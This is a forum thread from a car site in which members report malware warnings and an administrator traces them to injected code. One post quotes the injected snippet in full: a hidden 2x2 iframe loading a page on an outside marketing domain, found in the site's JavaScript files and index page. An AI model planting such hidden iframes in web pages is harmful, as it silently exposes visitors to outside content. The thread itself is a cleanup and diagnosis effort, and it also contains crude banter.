Author Topic: Virus warnings: trojan tapatalk virus?  (Read 8530 times)

orangeLJ

  • Hero Member
  • *****
  • Posts: 754
  • Karma: 6
Virus warnings: trojan tapatalk virus?
« on: February 13, 2013, 08:49:00 PM »
detected: Trojan program HEUR:Trojan.Script.Generic   file: http://anti-rice.com/smf/mobiquo/tapatalkdetect.js


going off from my virus scanner everypage I load?

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #1 on: February 13, 2013, 10:34:12 PM »
Some sort of false-positive. It's a javascript file that contains a detection script for mobile devices that pops up a message telling a user that we have a Tapatalk plugin. There's absolutely nothing malicious about it at all.

What virus scanner are you using?

Quick Google search and there are only two relevant things returned. One is a forum where someone mentioned Tapatalk being linked with Trojans and a bunch of people disputing it saying that they've never heard of it before. The other one is some poor forum admin who extracted the Tapatalk zip and saw two "japanese files" appear, got scared, said he thought they might be a trojan, and deleted them.

I assume this error is coming up while browsing with a computer, right? Not a mobile phone.

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #2 on: February 13, 2013, 10:38:02 PM »
It popped up as a missing java script thingie with me in Firefox this morning on my work machine, I just told it NO, don't install and it never came back.
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #3 on: February 14, 2013, 08:40:50 AM »
Don't install what? You shouldn't need to install anything.

I just checked and the file doesn't exist. That's the only issue that I see. I can just reinstall the Tapatalk plugin.

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #4 on: February 14, 2013, 08:55:26 AM »
I uninstalled what we had, installed the newest version of Tapatalk, and it still does it. Can anyone confirm whether or not Tapatalk is working?

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #5 on: February 14, 2013, 10:08:43 AM »
Don't install what? You shouldn't need to install anything.

I just checked and the file doesn't exist. That's the only issue that I see. I can just reinstall the Tapatalk plugin.
It told me I was missing some plug in and asked if I wanted to install it....I just assumed it had something to do with the Javascript that was causing Tapatalk to act funny, after reading this thread.
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

ling427ttvette

  • Hero Member
  • *****
  • Posts: 1526
  • Karma: 5
Re: Virus warnings: trojan tapatalk virus?
« Reply #6 on: February 14, 2013, 11:32:10 AM »
I uninstalled what we had, installed the newest version of Tapatalk, and it still does it. Can anyone confirm whether or not Tapatalk is working?

Works fine for me. Haven't had any issues with it. 

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #7 on: February 14, 2013, 12:04:41 PM »
It told me I was missing some plug in and asked if I wanted to install it....I just assumed it had something to do with the Javascript that was causing Tapatalk to act funny, after reading this thread.

Nope. You should not be installing anything on your computer for Tapatalk. The file that's coming up in the warning is just Javascript. All it does is check to see what browser you're using. If it's a mobile browser (Android, iOS, Blackberry, etc), it alerts you that the forum has the Tapatalk package installed and you can download an app to use it.

On a desktop/laptop, you shouldn't be seeing anything about it.

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #8 on: February 14, 2013, 12:10:41 PM »
Huh...then I wonder wtf that was....oh well, I scanned my shit and its clean. Maybe Firefox just had a derp moment there or something.
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #9 on: February 14, 2013, 04:08:59 PM »
Holy Fuck....now Firefox is reporting www.anti-rice.com/smf as an attack site....WTF?
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

ling427ttvette

  • Hero Member
  • *****
  • Posts: 1526
  • Karma: 5
Re: Virus warnings: trojan tapatalk virus?
« Reply #10 on: February 14, 2013, 04:44:57 PM »
Tried to get on from Tapatalk and it tells me my password is incorrect. Havent changed it. But the other forums I have on Tapatalk work fine.

Sponty

  • Hero Member
  • *****
  • Posts: 1402
  • Karma: -7
Re: Virus warnings: trojan tapatalk virus?
« Reply #11 on: February 14, 2013, 05:02:19 PM »
Holy Fuck....now Firefox is reporting www.anti-rice.com/smf as an attack site....WTF?
I'm getting the same message. WTF?

orangeLJ

  • Hero Member
  • *****
  • Posts: 754
  • Karma: 6
Re: Virus warnings: trojan tapatalk virus?
« Reply #12 on: February 14, 2013, 05:10:14 PM »
Im using Kaspersky

Its usually pretty accurate.

detected: Trojan program HEUR:Trojan.Script.Generic   file: http://anti-rice.com/smf/mobiquo/tapatalkdetect.js

detected: Trojan program HEUR:Trojan.Script.Generic   file: http://anti-rice.com/smf/speller/spell_mini.js

Scuba

  • Hero Member
  • *****
  • Posts: 1795
  • Karma: 4
    • My Website
Re: Virus warnings: trojan tapatalk virus?
« Reply #13 on: February 14, 2013, 05:14:20 PM »
Holy Fuck....now Firefox is reporting www.anti-rice.com/smf as an attack site....WTF?
Chrome is saying this site contains malware...

Onyx Dragon

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 9923
  • Karma: -66
Re: Virus warnings: trojan tapatalk virus?
« Reply #14 on: February 14, 2013, 05:24:18 PM »
I get the same thing from FF, but if you read the report, it says that google has found no issues with it at all.

Sponty

  • Hero Member
  • *****
  • Posts: 1402
  • Karma: -7
Re: Virus warnings: trojan tapatalk virus?
« Reply #15 on: February 14, 2013, 05:33:21 PM »
I get the same thing from FF, but if you read the report, it says that google has found no issues with it at all.
That's what I find weird about it. Why would FF report it if nothing was found?

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #16 on: February 14, 2013, 05:41:16 PM »
I get the same thing from FF, but if you read the report, it says that google has found no issues with it at all.
Yeah I followed through to see what was up and got that same Google report....weird as FUCK.
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

Nava

  • Hero Member
  • *****
  • Posts: 3871
  • Karma: 36
  • Goddamn Hinge-Heads
Re: Virus warnings: trojan tapatalk virus?
« Reply #17 on: February 14, 2013, 06:16:33 PM »
Ginger Jared must be trying to silence us.

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #18 on: February 14, 2013, 07:46:24 PM »
Now it's hurting when I poop while browsing AR! But seriously my phone just pinged me for Tapatalk out of the blue.
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #19 on: February 14, 2013, 08:29:09 PM »
I submitted the site for a review with Google. They run some sort of script that crawls the site looking for any malicious code. I'll update when I know something.

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS

MiniVanMan

  • Hero Member
  • *****
  • Posts: 5877
  • Karma: -664
    • Carnage Racing
Re: Virus warnings: trojan tapatalk virus?
« Reply #20 on: February 14, 2013, 08:38:23 PM »
Same problem here. Chrome is freaking out lately every time I use this forum. I can't navigate hardly at all without it putting up red flags.
« Last Edit: February 14, 2013, 08:38:51 PM by 00XJ »

Meatywand

  • Hero Member
  • *****
  • Posts: 15769
  • Karma: 688
  • Broo Penis
    • NecroManor
Re: Virus warnings: trojan tapatalk virus?
« Reply #21 on: February 14, 2013, 09:12:17 PM »
WE GOT HERPES?
Quote from:  Sergeant D
Nothing says Alpha like getting your anus violated by another man

I gazed through the open window upon a full moon.
His name was Meatywand.

orangeLJ

  • Hero Member
  • *****
  • Posts: 754
  • Karma: 6
Re: Virus warnings: trojan tapatalk virus?
« Reply #22 on: February 14, 2013, 10:04:51 PM »
Herp-a-syphil-aids actually

MiniVanMan

  • Hero Member
  • *****
  • Posts: 5877
  • Karma: -664
    • Carnage Racing
Re: Virus warnings: trojan tapatalk virus?
« Reply #23 on: February 14, 2013, 10:10:09 PM »
Found a possible source... Check the "IMG WAR" thread, it's throwing a warning out about a pic hosted on Jim's Turbopinto site... and this shit started happening right about the time he posted it. Maybe that's where the problem is?

« Last Edit: February 14, 2013, 10:23:59 PM by 00XJ »

Kalgorn

  • Super Administrator
  • Hero Member
  • *****
  • Posts: 14090
  • Karma: 28
Re: Virus warnings: trojan tapatalk virus?
« Reply #24 on: February 14, 2013, 10:28:10 PM »
Good eye. It looks like Jim's site has some marketing spam bullshit at the bottom of his site:

Code: [Select]
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://magicmarketinginc.com/acmd.html?i=1513102></iframe>
I found that same code in our tapatalkdetect.js before I removed the old plugin and installed the latest version of Tapatalk. However, we're also hosted on Jim's server which could potentially be compromised.

In other news, Google's scan came back and three pages had that code above injected. The first was tapatalkdetect.js (although that was removed before I submitted for the scan so I don't know why it flagged it -- I double checked and it's clean), the main page (anti-rice.com/index.php), and /speller/spell_mini.js which is a Javascript file for the forum's spell checker. I cleaned everything and submitted for another review so we'll see what happens.

Jim should do the same thing for his site. For now, I'm going to edit out the picture that's linked to his site so users will (eventually) be able to browse that page of the thread without issues.

EDIT: Oh, fuck me. It's Jim's signature. I'll have to edit it out for now. :lol: And his avatar.
« Last Edit: February 14, 2013, 10:30:42 PM by Kalgorn »

2002 Silverado | 1995 Talon TSi AWD | 1989 Prelude Si 4WS